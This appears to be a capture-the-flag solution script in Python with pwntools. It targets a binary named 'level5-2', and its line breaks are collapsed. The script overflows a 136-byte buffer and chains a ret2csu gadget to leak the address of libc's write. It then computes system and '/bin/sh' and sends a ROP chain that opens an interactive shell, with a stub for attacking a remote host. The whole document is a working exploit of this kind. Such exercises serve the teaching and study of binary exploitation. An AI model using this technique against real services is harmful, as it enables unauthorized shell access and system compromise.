1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import *
sh = 0 offset = 136 vuln_main = 0x0000000000400588 def csu_gadget(): elf = ELF('./level5-2') global write_addr write_got = elf.got['write'] print("write_plt = "+hex(write_got)) paylaod = flat(['a' * offset , 0x400616 , 0,0,1,write_got,8,write_got,1,0x400600,'a'*56,vuln_main]) sh.recvuntil('Hello, World\n') sh.send(paylaod) write_addr = u64(sh.recv(8)) print("write_addr = "+hex(write_addr))
def pwn(): libc = ELF('./libc.so') libc_base_addr = write_addr - libc.symbols['write'] print("libc_base_addr = "+hex(libc_base_addr)) sys_addr = libc_base_addr + libc.symbols['system'] print('sys_addr = ' + hex(sys_addr)) str_bin_addr = libc_base_addr + next(libc.search('/bin/sh')) print('str_bin_addr = ' + hex(str_bin_addr)) pop_rdi_addr = libc_base_addr + 0x000000000002155f ret_addr = libc_base_addr + 0x00000000000008aa payload = flat(['a' * offset,pop_rdi_addr,str_bin_addr,ret_addr,sys_addr]) sh.recvline('Hello, World\n') sh.send(payload) sh.interactive()
def debug(debug): global sh if(debug == 1): sh = process('./level5-2') context.arch = 'amd64' context.terminal = ['/bin/zsh'] context.log_level = 'debug' else: sh = remote('','')
debug(1) csu_gadget() pwn()
|